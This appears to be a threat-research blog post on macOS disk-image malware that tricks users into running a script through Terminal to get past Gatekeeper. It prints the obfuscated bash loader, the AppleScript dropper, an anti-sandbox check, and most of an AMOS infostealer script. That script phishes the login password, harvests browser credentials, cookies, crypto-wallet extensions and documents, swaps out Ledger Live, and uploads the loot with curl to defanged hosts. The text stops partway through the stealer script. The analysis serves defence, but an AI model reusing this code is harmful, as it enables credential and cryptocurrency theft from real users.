As macOS endpoint controls continue to evolve, adversaries are consistently adapting their TTPs to defeat Apple’s ever-changing security frameworks. Although .dmg files remain a popular initial access vector, the traditional “right-click and open” method has become largely ineffective—especially with the security enhancements introduced in macOS Sequoia.

This analysis delves into some contemporary disk-image malware campaigns, their execution primitives and obfuscation techniques.

The Demise of “Right-Click Open”

The “right-click open” method of bypassing Gatekeeper, while helpful for a long time, has become less useful to attackers. With the advent of macOS Sequoia, Apple significantly tightened the Gatekeeper and notarization requirements. This has made it harder for unsigned or malicious applications to directly execute, even with a user’s explicit attempt to override built-in controls. While this is a positive step for overall security, it has pushed attackers to find new avenues for initial compromise.

Terminal Alias Attacks with Drag and Drop

A notable contemporary trend observed in recent campaigns involves the abuse of Terminal aliases within .dmg files. Instead of a conventional application, the Disk Image presents a script designed to appear as an application or installer to fit the social-engineering pretext with instructions embedded in the background image which direct the user to drag and drop this item into a terminal window, launched from an included Terminal alias.

Disk Image

Crucially, this method bypasses the com.apple.quarantine extended attribute, as execution is initiated within a user’s shell, effectively masquerading as a legitimate user-driven command and leveraging the OS’s inherent trust in its own components.

Analysis

I have analysed several samples employing similar techniques to achieve their objectives. These malicious disk images have a background that is visually identical but uses a random filename and have unique hashes across each analysed sample.

A fun easter egg, which was also observed by @L0Psec was the presence of /user/Downloads/infosec_hello/builder_cache/ in the .DS_Store file found in multiple samples - this suggests the samples are coming from the same source or at the very least the authors have a sense of humour.

The volumes contain, among other things, a bash script with a random file extension (though this is hidden) which is obfuscated using a combination of Base-64 encoding and XOR encryption and has an icon set to appear more like an application bundle.

#!/bin/bash

if false; then
    WSJOuWAt() {
        local var=590
        return 0
    }
    echo 'DvIVxdMmzc'
    kUhPvH=308
fi

AjzHKv() { echo "$1" | base64 --decode; }

rJBonihv='PqB9ERyjW1FQU1gGeCWnzhXqdg8m/HldfTlQXlJU8ek+mlwRJ6d1XXg2JiVSVIHiPpFqHiCfWENVIlMJUlSB4j6RdgshjXVPfTlcHE9QrP8TmnpXJ7d1V305XF'
# uGyPHrFIsc
tEenreNg='5SU'
yfUrQokJ='JL1FOtMHQandkNVIlACeXqR4hORclIGp3ZDVSJQFEFPkeITnn4eH/xhFE4mfhR6boK1FaB5DgypWENVIlMJf1+KsDSweQAM'
CNsqgnVl='jXZDVSJTCXh6lvItjn5XDIZTVHgmdQlBUKz/FqB6FyendU99OVwcT1Cs/xOYVwAMjXZDVSJTCVJUgeI+mnoXH6d1T305XBxSUI7zFbdqDySZAl5VIlgPeSX58SaBehAMp3UUfSZEG1h+geI+mnkADI12Q1UiUwlSVIHiPpp6HR+WZkN4JlQXQSWWtSWeVB0kt3UUfhhQBXpPjvc0sHkADI12Q1UiUwlSV'
# oJOeRSNBDI
VMvtTjEH='IHiPpp5AAyNdUh5Jn5eUl+K6RSebg8hj1hDVSJTCVJUgeI+mnkADI11SH4MQwl6QJnOPpp5AAyNdkNVIlACeXqR4hS0bhAfmXEUXwhTCVJUgukVtGkAIYZ9EV8IUwlSVIL1LbB6VxyWfUpGOUArek+O9z6eVB0MjX5NVSlAAUFA9M4+mnkADI12Q1UiUBdBT5K0FLQMLA'
nRlcYyIp='yNdkNVJkQbQVSC9S2+VwAMjXZDf1NEXlJQmvMVnmoLJqJ1THgmdQl/UPjiPrABMCf8TxV+NkQUV26J4j2welccln1KRjlAK3pPjvc+mmEADKcPTV8IUwlSVIL/LYFpAByWdVNIDFQaQUSCtRWgeQ4JokdSflMjLHhfge'
cqvRfnSd='w0sHkADI11XkY5QwlCT4LyIp5+VySNdRR+GFADeSW47i2B'
KRetwbFV='cjYclmVLVSJLCUJPgvIjtH4TH5'
ZvpYwJTq='9YQ1UiUw'
# vlWXbAIsUW
btGHTYpu='l4JZa1PpFqCyeWdWZ/KVA/Qk+S6j6RahEMjX5SeCYjGVduieI9sHoPJoZ1a0U2IwJYfoHiPpp6VyagXG9VIlMJUlSB4j6aegwnt3VefSZEHXlUgv8u6nIXJoZmQ1UPWBpSVPHoPppxAA+ndVx4NiteQUCR4i20AR4nnXV'
KjOMBPTq='SRghQXkFA8fImgXoQEIlxFH0gfQlSVIHiLY4NDAyGZV15MH0JUlSB4hORclIGp3ZDVSJTCVJUgeItngAAJvxfSH4mZQl4JY78FoF6VwyNfU5/IlMHUlSZ4hSB'
ufhwzQUf='bhEhiWFPVSZIGHh68OIV62EAHJZ1U0kmVF56VIHoPppxAAyndklVKVRfeSSS6S2aegon/X1QVSYrA1JfkukVgXolJoZ1dUU5QAFYfoHiPpp6CyejZkN4KVhbWH6B4j6ae'
# HsHAHgIGyc
tkTgBKmY='lcmoFxvVSJTCVJUgeI+mno'
hZjzdwWI='MJ7d1Xn0mRB15VIL/LupyFyaGZkNVD3oGf1+S/D6aCQ0MjX5DVghQFn9A+bUtjmk'
# jmMXgLrBSk
soUxZbYg='AH6MOXX4yUBhBfoK1LY4JEBSWdVNJJlReelav4j6aeQAfmQJPVSl'
# IjhVYpOxFB
RdSkwwyS='AF35Gr+I+mnkAIYZ9EV8IUwlSVIHiPpp5AB+JD0N/U3oCeVC34hTrdh4klnUUVSJYBHpQ8fMtmnkVII12'
# BzyqVRIGmD
vTPHnTxl='TVUiSwl4T5bzE55uDAyJbVJ/DCIJeSWZ4hOebhMmi3FTfydQBn9Qp84+mnkADIlhUUYiUF54eavOPpp5AA'
WtrrFyDw='yGZV15MH0JUlSB'
# ncdaYCwnjN
hFuEiAmN='4j6aeQAMiWVSVSlcAUFAuPY+kXYNJqNbU3giUBZ/QPm1LY5pAB+jDl1+MlAYQX6CtS2OCRAUlnVTSSZU'
ntQVUHjb='XnpWr+I+mnkAH5kCT1UpQBd+RrDpFbRpACagYVFWFi9T'
# jacxRqlABp

MQnWEy="${rJBonihv}${tEenreNg}${yfUrQokJ}${CNsqgnVl}${VMvtTjEH}${nRlcYyIp}${cqvRfnSd}${KRetwbFV}${ZvpYwJTq}${btGHTYpu}${KjOMBPTq}${ufhwzQUf}${tkTgBKmY}${hZjzdwWI}${soUxZbYg}${RdSkwwyS}${vTPHnTxl}${WtrrFyDw}${hFuEiAmN}${ntQVUHjb}"

CnLWra=$(echo "$MQnWEy" | base64 --decode | perl -e 'my $key = pack("H*", "77d9386745ce37241c61126e1b17c085"); my $data = do { local $/; <STDIN> }; my $k = length($key); for(my $i=0; $i < length($data); $i++){ print chr( ord(substr($data, $i, 1)) ^ ord(substr($key, $i % $k, 1)) ); }')
PSOUsK=$(AjzHKv "$CnLWra")
eval "$PSOUsK"

Once executed, the bash script decrypts and unpacks itself to reveal an AppleScript.

# !/bin/bash

osascript -e on run
    try
        set diskList to list disks
    end try

    set targetDisk to ""
    try
        repeat with disk in diskList
            if disk contains "ZoomApp" then
                set targetDisk to disk
                exit repeat
            end if
        end repeat
    end try

    if targetDisk is "" then
        return
    end if

    set folderPath to "/Volumes/" & targetDisk & "/" set appName to ".ZoomApp"
    set appath to folderPath & appName
    set tempAppPath to "/tmp/" & appName
    
    try
        do shell script "rm -f" & quoted form of tempAppPath
    end try
    try
        do shell script "cp" & quoted form of appPath & " " & quoted form of tempAppPath
    end try
    try
        do shell script "xattr -c" & quoted form of tempAppPath
    end try
    try
        do shell script "chmod +x" & quoted form of tempAppPath
    end try
    try
        do shell script quoted form of tempAppPath
    end try
end run'

The AppleScript’s purpose is to copy a hidden binary to a location on disk and execute it. After copying, the AppleScript clears all extended attributes using xattr -c, sets the execute bit using chmod +x, and then runs the binary. This approach, leveraging native macOS scripting capabilities and script obfuscation, allows the malware to circumvent many traditional detection mechanisms and execute its payload while remaining reasonably stealthy.

The use of /tmp as a destination for the payload means the binary will be automatically purged from the filesystem as this directory is cleaned up daily at midnight by /usr/libexec/tmp_cleaner.

Running file on the target binary we can clearly see it is a Universal macOS binary.

.ZoomApp: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64]
.ZoomApp (for architecture x86_64): Mach-O 64-bit executable x86_64
.ZoomApp (for architecture arm64): Mach-O 64-bit executable arm64

Beyond this point, the behaviour of the executed binary may vary, but the preceding steps have been consistently observed across multiple malware samples as a means of circumventing Gatekeeper and achieving code execution on macOS Sequoia.

When run, the binary initially performs some anti-sandbox checks via another AppleScript by checking for the presence of common hypervisor names (by searching the output of system_profiler SPMemoryDataType) and what may be the serial numbers of known analysis sandboxes (by searching the output of system_profiler SPHardwareDataType), if found the script returns an exit code of 42 otherwise it returns an exit code of 0.

set memData to do shell script "system_profiler SPMemoryDataType"
set hardwareData to do shell script "system_profiler SPHardwareDataType"
if memData contains "QEMU" or memData contains "VMware" or hardwareData contains "C07T508TG1J2" or hardwareData contains "C02TM2ZBHX87" then
  do shell script "exit 42"
else
  do shell script "exit 0"
end if

If the anti-sandbox checks pass, the payload execution continues with actual AMOS info-stealer beahviour, once again executed by passing the script as an argument to osascript -e

#!/usr/bin/osascript

set release to true
set filegrabbers to true

tell application "Terminal" to set visible of the front window to false

on filesizer(paths)
    set fsz to 0
    try
        set theItem to quoted form of POSIX path of paths
        set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
    end try
    return fsz
end filesizer

on mkdir(someItem)
    try
        set filePosixPath to quoted form of (POSIX path of someItem)
        do shell script "mkdir -p " & filePosixPath
    end try
end mkdir

on FileName(filePath)
    try
        set reversedPath to (reverse of every character of filePath) as string
        set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath
        set finalPath to (reverse of every character of trimmedPath) as string
        return finalPath
    end try
end FileName

on BeforeFileName(filePath)
    try
        set lastSlash to offset of "/" in (reverse of every character of filePath) as string
        set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
        return trimmedPath
    end try
end BeforeFileName

on writeText(textToWrite, filePath)
    try
        set folderPath to BeforeFileName(filePath)
        mkdir(folderPath)
        set fileRef to (open for access filePath with write permission)
        write textToWrite to fileRef starting at eof
        close access fileRef
    end try
end writeText

on readwrite(path_to_file, path_as_save)
    try
        set fileContent to read path_to_file
        set folderPath to BeforeFileName(path_as_save)
        mkdir(folderPath)
        do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
    end try
end readwrite

on readwrite2(path_to_file, path_as_save)
    try
        set folderPath to do shell script "dirname " & quoted form of path_as_save
        mkdir(folderPath)
        tell application "Finder"
            set sourceFile to POSIX file path_to_file as alias
            set destinationFolder to POSIX file folderPath as alias
            duplicate sourceFile to destinationFolder with replacing
        end tell
    end try
end readwrite2

on replaceApp(pr, pass)
    try
        set appPath to "/Applications/Ledger Live.app"
        list folder POSIX file appPath
        set filePath to pr & "/.private"
        do shell script "rm -f " & quoted form of filePath
        writeText("user1", pr & "/.private")
       
        do shell script "curl hXXps[://]isnimitz[.]com/zxc/app[.]zip -o /tmp/app.zip"
        try
            do shell script "pkill \"Ledger Live\""
        end try
       
        do shell script "echo " & quoted form of pass & " | sudo -S rm -r " & quoted form of appPath
        delay 1
       
        do shell script "unzip /tmp/app.zip -d /Applications"
        delay 1
        do shell script "rm /tmp/app.zip"
    end try
end replaceApp

on isDirectory(someItem)
    try
        set filePosixPath to quoted form of (POSIX path of someItem)
        set fileType to (do shell script "file -b " & filePosixPath)
        if fileType ends with "directory" then
            return true
        end if
        return false
    end try
end isDirectory

on GrabFolderLimit(sourceFolder, destinationFolder)
    try
        set bankSize to 0
        set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
        set fileList to list folder sourceFolder without invisibles
        mkdir(destinationFolder)
        repeat with currentItem in fileList
            if currentItem is not in exceptionsList then
                set itemPath to sourceFolder & "/" & currentItem
                set savePath to destinationFolder & "/" & currentItem
                if isDirectory(itemPath) then
                    GrabFolderLimit(itemPath, savePath)
                else
                    set fsz to filesizer(itemPath)
                    set bankSize to bankSize + fsz
                    if bankSize < 10 * 1024 * 1024 then
                        readwrite(itemPath, savePath)
                    end if
                end if
            end if
        end repeat
    end try
end GrabFolderLimit

on GrabFolder(sourceFolder, destinationFolder)
    try
        set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__", "user_data#2", "user_data#3"}
        set fileList to list folder sourceFolder without invisibles
        mkdir(destinationFolder)
        repeat with currentItem in fileList
            if currentItem is not in exceptionsList then
                set itemPath to sourceFolder & "/" & currentItem
                set savePath to destinationFolder & "/" & currentItem
                if isDirectory(itemPath) then
                    GrabFolder(itemPath, savePath)
                else
                    readwrite(itemPath, savePath)
                end if
            end if
        end repeat
    end try
end GrabFolder

on parseFF(firefox, writemind)
    try
        set myFiles to {"/cookies.sqlite", "/formhistory.sqlite", "/key4.db", "/logins.json"}
        set fileList to list folder firefox without invisibles
        repeat with currentItem in fileList
            set fpath to writemind & "ff/" & currentItem
            set readpath to firefox & currentItem
            repeat with FFile in myFiles
                readwrite(readpath & FFile, fpath & FFile)
            end repeat
        end repeat
    end try
end parseFF

on checkvalid(username, password_entered)
    try
        set result to do shell script "dscl. authonly " & quoted form of username & space & quoted form of password_entered
        if result is not equal to "" then
            return false
        else
            return true
        end if
    on error
        return false
    end try
end checkvalid

on getpwd(username, writemind)
    try
        if checkvalid(username, "") then
            set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
            writeText(result as string, writemind & "masterpass-chrome")
        else
            repeat
                set result to display dialog "Required Application Helper.Please enter password for continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answers
                set password_entered to text returned of result
                if checkvalid(username, password_entered) then
                    writeText(password_entered, writemind & "pwd")
                    return password_entered
                end if
            end repeat
        end if
    on error errMsg
        set password_entered to getpwd(username, writemind)
    end try
    return ""
end getpwd

on grabPlugins(profilepath, paths, savePath, pluginList, index)
    try
        set fileList to list folder paths without invisibles
        repeat with PFile in fileList
            repeat with Plugin in pluginList
                if (PFile contains Plugin) then
                    set newpath to paths & PFile
                    set newsavepath to savePath & "/" & Plugin
                    if index then
                        set newsavepath to newsavepath & "/IndexedDB/"
                    end if
                    GrabFolder(newpath, newsavepath)
                    GrabFolder(profilepath & "/Local Storage/leveldb/", savePath & "/Local Storage/")
                end if
            end repeat
        end repeat
    end try
end grabPlugins

on chromium(writemind, chromium_map)
    set pluginList to {"ppdadbejkmjnefldpcdjhnkpbjkikoip", "ppbibelpcjmhbdihakflkdcoccbgbkpo", "pocmplpaccanhmnllbbkpgfliimjljgo", "pnndplcbkakcplkjnolgbkdgjikjednm", "pnlccmojcmeohlpggmfnbbiapkmbliob", "phkbamefinggmakgklpkljjmgibohnba", "pgiaagfkgcbnmiiolekcfmljdagdhlcm", "pdadjkfkgcafgbceimcpbkalnfnepbnk", "pcndjhkinnkaohffealmlmhaepkpmgkb", "papngmkmknnmfhabbckobgfpihpdgplk", "panpgppehdchfphcigocleabcmcgfoca", "opfgelmcmbiajamepnmloijbpoleiama", "opcgpfmipidbgpenhmajoajpbobppdil", "ookjlbkiijinhpmnjffcofjonbfbgaoc", "onhogfjeacnfoofkfgppdlbmlmnplgbn", "omaabbefbmiijedngplfjmnooppbclkk", "ojggmchlghnjlapmfbnjholfjkiidbch", "ojbcfhjmpigfobfclfflafhblgemeidi", "ocjobpilfplciaddcbafabcegbilnbnb", "oboonakemofpalcgghocfoadofidjkkk", "oafedfoadhdjjcipmcbecikgokpaphjk", "nphplpgoakhhjchkkhmiggakijnkhfnd", "nopnfnlbinpfoihclomelncopjiioain", "nngceckbapebfimnlniiiahkandclblb", "nlgnepoeokdfodgjkjiblkadkjbdfmgd", "nlgbhdfgdhgbiamfdfmbikcdghidoadd", "nknhiehlklippafakaeklbeglecifhad", "nkbihfbeogaeaoehlefnkodbefgpgknn", "nhnkbkgjikgcigadomkphalanndcapjk", "nhlnehondigmgckngjomcpcefcdplmgc", "nhbicdelgedinnbcidconlnfeionhbml", "nbdpmlhambbdkhkmbfpljckjcmgibalo", "nbdhibgjnjpnkajaghbffjbkcgljfgdi", "naepdomgkenhinolocfifgehidddafch", "mnfifefkajgofkcjkemidiaecocnkjeh", "mmmjbcfofconkannjonfmjjajpllddbg", "mmhlniccooihdimnnjhamobppdhaolme", "mmclamjkknobggpiohfneimmnlggagok", "mjgkpalnahacmhkikiommfiomhjipgjn", "mgffkfbidihjpoaomajlbgchddlicgpn", "mfhbebgoclkghebffdldpobeajmbecfk", "mfgccjchihfkkindfppnaooecgfneiii", "mdjmfdffdcmnoblignmgpommbefadffd", "mcohilncbfahbmgdjkbpemcciiolgcge", "mapbhaebnddapnmifbbkgeedkeplgjmf", "lpilbniiabackdjcionkobglmddfbcjo", "lpfcbjknijpeeillifnkikgncikgfhdo", "loinekcabhlmhjjbocijdoimmejangoa", "lmkncnlpeipongihbffpljgehamdebgi", "lgmpcpglpngdoalbgeoldeajfclnhafa", "lgbjhdkjmpgjgcbcdlhkokkckpjmedgc", "ldinpeekobnhjjdofggfgjlcehhmanlj", "lcmncloheoekhbmljjlhdlaobkedjbgd", "lccbohhgfkdikahanoclbdmaolidjdfl", "kncchdigobghenbbaddojjnnaogfppfj", "kmhcihpebfmpgmihbkipmjlmmioameka", "kmcfomidfpdkfieipokbalgegidffkal", "klnaejjgbibmhlephnhpmaofohgkpgkd", "klghhnkeealcohjjanjjdaeeggmfmlpl", "kkpllkodjeloidieedojogacfhpaihoh", "kkpllbgjhchghjapjbinnoddmciocphm", "kkilomkmpmkbdnfelcpgckmpcaemjcdh", "kilnpioakcdndlodeeceffgjdpojajlo", "khpkpbbcccdmmclmpigdgddabeilkdpd", "kglcipoddmbniebnibibkghfijekllbl", "kfdniefadaanbjodldohaedphafoffoh", "keenhcnmdmjjhincpilijphpiohdppno", "kbdcddcmgoplfockflacnnefaehaiocb", "jojhfeoedkpkglbfimdfabpdfjaoolaf", "jnmbobjmhlngoefaiojfljckilhhlhcj", "jnlgamecbpmbajjfhmmmlhejkemejdma", "jnldfbidonfeldmalbflbmlebbipcnle", "jnkelfanjkeadonecabehalmbgpfodjm", "jkoeaghipilijlahjplgbfiocjhldnap", "jkjgekcefbkpogohigkgooodolhdgcda", "jiidiaalihmmhddjgbnbgdfflelocpak", "jiepnaheligkibgcjgjepjfppgbcghmp", "jhfjfclepacoldmjmkmdlmganfaalklb", "jgnfghanfbjmimbdmnjfofnbcgpkbegj", "jfmajkmgjpjognffefopllhaijknhnmm", "jcacnejopjdphbnjgfaaobbfafkihpep", "jbppfhkifinbpinekbahmdomhlaidhfm", "jblndlipeogpafnldhgmapagcccfchpi", "jbkgjmpfammbgejcpedggoefddacbdia", "iokeahhehimjnekafflcihljlcjccdbe", "inlkhilmjmjomfcpdifpfgllhhlpnbej", "ilhaljfiglknggcoegeknjghdgampffk", "igkpcodhieompeloncfnbekccinhapdb", "ifckdpamphokdglkkdomedpdegcjhjdp", "idnnbdplmphpflfnlkomgpfbpcgelopg", "icpikagpkkbldbfjlbefnmmmcohbjije", "icblpoalghoakidcjiheabnkijnklhhe", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "hpclkefagolihohboafpheddmmgdffjm", "hpbgcgmiemanfelegbndmhieiigkackl", "hnfanknocfeofbddgcijnmhnfnkdnaad", "hmeobnfnfcmdkdcmlblgagmfpfboieaf", "hifafgmccdpekplomjjkcfgodnhcellj", "hdokiejnpimakedhajhdlcegeplioahd", "hbbgbephgojikajhfbomhlmmollphcad", "gpnihlnnodeiiaakbikldcihojploeca", "gkeelndblnomfmjnophbhfhcjbcnemka", "gjlmehlldlphhljhpnlddaodbjjcchai", "gjkdbeaiifkpoencioahhcilildpjhgh", "gjagmgiddbbciopjhllkdnddhcglnemk", "ginchbkmljhldofnbjabmeophlhdldgp", "ghlmndacnhlaekppcllcpcjjjomjkjpg", "gdokollfhmnbfckbobkdbakhilldkhcj", "gbjepgaebckfidagpfeioimheabiohmg", "gafhhkghbfjjkeiendhlofajokpaflmk", "gadbifgblmedliakbceidegloehmffic", "fpkhgmpbidmiogeglndfbkegfdlnajnf", "fpibioaihcagphbidhodidjbnclocgll", "fopmedgnkfpebgllppeddmmochcookhc", "fnjhmkhhmkbjkkabndcnnogagogbneec", "fmhmiaejopepamlcjkncpgpdjichnecm", "fmblappgoiilbgafhjklehhfifbdocee", "flpiciilemghbmfalicajoolhkkenfel", "fijngjgcjhjmmpcmkeiomlglpeiijkld", "fiikommddbeccaoicoejoniammnalkfa", "fhilaheimglignddkjgofkcbgekhenbh", "fhbohimaelbohpjbbldcngcnapndodjp", "fghhpjoffbgecjikiipbkpdakfmkbmig", "ffnbelfdoeiohenkjibnmadjiehjhajb", "fcfcfllfndlomdhbehjjcoimbgofdncg", "fcckkdbjnoikooededlapcalpionmalo", "epapihdplajcdnnkdeiahlgigofloibg", "eomhlheglneofffmbfjflldlbcnhpkpb", "eokbbaidfgdndnljmffldfgjklpjkdoi", "enabgbdfcbaehmbigakijjabdpdnimlg", "emeeapjkbcbpbpgaagfchmcgglmebnen", "elalghlhoepcjfaedkcmjolahamlnjcp", "ejjladinnckdgjemekebdpeokbikhfci", "einnioafmpimabjcddiinlhmijaionap", "egjidjbpglichdcondbcbdnbeeppgdph", "efbglgofoippbgcjepnhiblaibcnclgk", "ebfidpplhabeedpnhjnobghokpiioolj", "eamiofncoknfkefhlkdblngblpffehek", "eajafomhmkipbjmfmhebemolkcicgfmd", "dphoaaiomekdhacmfoblfblmncpnbahm", "dngmlblcodfobpdpecaadgfbcggfjfnm", "dmkamcknogkgcdfhhbddcghachkejeap", "dldjpboieedgcmpkchcjcbijingjcgok", "dlcobpjiigpikoobohmabehhmhfoodbb", "dkdedlpgdmmkkfjabffeganieamfklkm", "dbgnhckhnppddckangcjbkjnlddbjkna", "cpmkedoipcpimgecpmgpldfpohjplkpp", "cphhlgmgameodnhkjdmkpanlelnlohao", "copjnifcecdedocejpaapepagaodgpbh", "cnncmdhjacpkmjmkcafchppbnpnhdmon", "cnmamaachppnkjgnildpdmkaakejnhae", "cmndjbecilbocjfkibfbifhngkdmjgog", "ckklhkaabbmdjkahiaaplikpdddkenic", "cjmkndjhnagcfbpiemnkdpomccnjblmj", "cihmoadaighcejopammfbmddcmdekcje", "chgfefjpcobfbnpmiokfjjaglahmnded", "cgeeodpfagjceefieflmdfphplkenlfk", "cflgahhmjlmnjbikhakapcfkpbcmllam", "cfbfdhimifdmdehjmkdobpcjfefblkjm", "caljgklbbfbcjjanaijlacgncafpegll", "bopcbmipnjdcdfflfgjdgdjejmgpoaab", "bofddndhbegljegmpmnlbhcejofmjgbn", "bocpokimicclpaiekenaeelehdjllofo", "bmikpgodpkclnkgmnpphehdgcimmided", "bmabahhenimmnfijaiccmonalfhpcndh", "bkklifkecemccedpkhcebagjpehhabfb", "bkgplkpdgidlgmnlhdfakhcjfpfgjjkb", "bifidjkcdpgfnlbcjpdkdcnbiooooblg", "bhhhlbepdkbapadjdnnojkbgioiodbic", "bhghoamapcdpbohphigoooaddinpkbai", "bgpipimickeadkjlklgciifhnalhdjhe", "bgjogpoidejdemgoochpnkmdjpocgkha", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "bcopgchhojmggmffilplmbdicgaihlkp", "apnehcjmnengpnmccpaibjmhhoadaico", "anokgmphncpekkhclmingpimjmcooifb", "amkmjjmmflddogmhpjloimipbofnfjih", "algblmhagnobbnmakepomicmfljlbehg", "ajopcimklncnhjednieoejhkffdolemp", "ajkifnllfhikkjbjopkhmjoieikeihjb", "aijcbedoijmgnlmjeegjaglmepbmpkpi", "aiifbnbfobpmeekipheeijimdpnlpgpp", "aiaghdjafpiofpainifbgfgjfpclngoh", "aholpfdialjgjfhomihkjbmgjidlcdno", "ahidmapichficbkfglbhgmhjcojjmlnm", "agoakfejjabomempkjlepdflaleeobhb", "aflkmfhebedbjioipglgcbcmnbpgliof", "afbcbjpbpfadlkmhmclhkeeodmamcflc", "aeachknmefphepccionboohckonoeemg", "admmjipmmciaobhojoghlmleefbicajg", "acmacodkjbdgmoleebolmdjonilkdbch", "abogmiocnneedmmepnohnhlijcjpcifd", "abjfbanhppgiflmobebfffbijcfoeiao", "abamjefkidngfegdjbmffdmbgjgpaobf"}
    set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
    repeat with chromium in chromium_map
        set savePath to writemind & "Chromium/" & item 1 of chromium & "_"
        try
            set fileList to list folder item 2 of chromium without invisibles
            repeat with currentItem in fileList
                if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
                    repeat with CFile in chromiumFiles
                        set readpath to (item 2 of chromium & currentItem & CFile)
                        set profilepath to (item 2 of chromium & currentItem)
                        if ((CFile as string) is equal to "/Network/Cookies") then
                            set CFile to "/Cookies"
                        end if
                        if ((CFile as string) is equal to "/Local Extension Settings/") then
                            grabPlugins(profilepath, readpath, savePath & currentItem, pluginList, false)
                        else if (CFile as string) is equal to "/IndexedDB/" then
                            grabPlugins(profilepath, readpath, savePath & currentItem, pluginList, true)
                        else
                            set writepath to savePath & currentItem & CFile
                            readwrite(readpath, writepath)
                        end if
                    end repeat
                end if
            end repeat
        end try
    end repeat
end chromium

on telegram(writemind, library)
    try
        GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Data/")
    end try
end telegram

on deskwallets(writemind, deskwals)
    repeat with deskwal in deskwals
        try
            GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
        end try
    end repeat
end deskwallets

on filegrabber(writemind)
    try
        set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
        mkdir(destinationFolderPath)
        set photosPath to POSIX file (writemind & "FileGrabber/NotesFiles/")
        mkdir(photosPath)
        set extensionsList to {"txt", "pdf", "docx", "wallet", "key", "keys", "doc", "json", "db"}
        set bankSize to 0
        tell application "Finder"
            try
                set safariFolderPath to (path to home folder as text) & "Library:Cookies:"
                duplicate file (safariFolderPath & "Cookies.binarycookies") to folder destinationFolderPath with replacing
                set name of result to "saf1"
            end try
            try
                set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")
                try
                    duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing
                end try
               
                set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
                set notesAccounts to folder (notesFolderPath & "Accounts:LocalAccount:Media")
                duplicate notesAccounts to photosPath with replacing
                duplicate notesAccounts to POSIX file photosPath as alias with replacing
                set notesFolder to folder notesFolderPath
                set notesFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
                repeat with FileName in notesFiles
                    set sourceFile to file FileName of notesFolder
                    duplicate sourceFile to POSIX file destinationFolderPath as alias with replacing
                end repeat
            end try
            try
                set desktopFiles to every file of desktop
                set documentsFiles to every file of folder "Documents" of (path to home folder)
                set downloadsFiles to every file of folder "Downloads" of (path to home folder)
                repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
                    set fileExtension to name extension of aFile
                    if fileExtension is in extensionsList then
                        set filesize to size of aFile
                        if filesize < 5 * 1024 * 1024 then
                            if (bankSize + filesize) < 30 * 1024 * 1024 then
                                try
                                    duplicate aFile to folder destinationFolderPath with replacing
                                    set bankSize to bankSize + filesize
                                end try
                            else
                                exit repeat
                            end if
                        end if
                    end if
                end repeat
            end try
        end tell
    end try
end filegrabber

on send_data(attempt)
    try
        set result_send to (do shell script "curl -X POST -H \"user: lOB/Sr-rZkvXS1kRcNiQH6jzN84KqK4S9GTaMjBBwlc=\" -H \"BuildID: kP8zZ/UmfOqmDjnUnV13Pi1mT32vvgsUtsZWcCzlyq0=\" -H \"cl: 0\" -H \"cn: 0\" -F \"file=@/tmp/out.zip\" hXXp[://]45[.]94[.]47[.]112/contact")
        on error
            if attempt < 15 then
                delay 60
                send_data(attempt + 1)
            end if
    end try
end send_data

set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000 + 1000))"
set writemind to "/tmp/" & randomNumber & "/"

try
    set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
    writeText(result, writemind & "info")
end try

set library to profile & "/Library/Application Support/"

try
    set passwordFile to "/tmp/.pass"
    set passwordContent to do shell script "cat " & quoted form of passwordFile
    if checkvalid(username, passwordContent) then
        writeText(passwordContent, writemind & "pwd")
        set password_entered to passwordContent
    else
        set password_entered to getpwd(username, writemind)
    end if
on error errMsg
    set password_entered to getpwd(username, writemind)
end try
delay 0.5

set chromiumMap to {{"Chrome", library & "Google/Chrome/"}, {"Brave", library & "BraveSoftware/Brave-Browser/"}, {"Edge", library & "Microsoft Edge/"}, {"Vivaldi", library & "Vivaldi/"}, {"Opera", library & "com.operasoftware.Opera/"}, {"OperaGX", library & "com.operasoftware.OperaGX/"}, {"Chrome Beta", library & "Google/Chrome Beta/"}, {"Chrome Canary", library & "Google/Chrome Canary"}, {"Chromium", library & "Chromium/"}, {"Chrome Dev", library & "Google/Chrome Dev/"}, {"Arc", library & "Arc/"}, {"Coccoc", library & "Coccoc/"}}

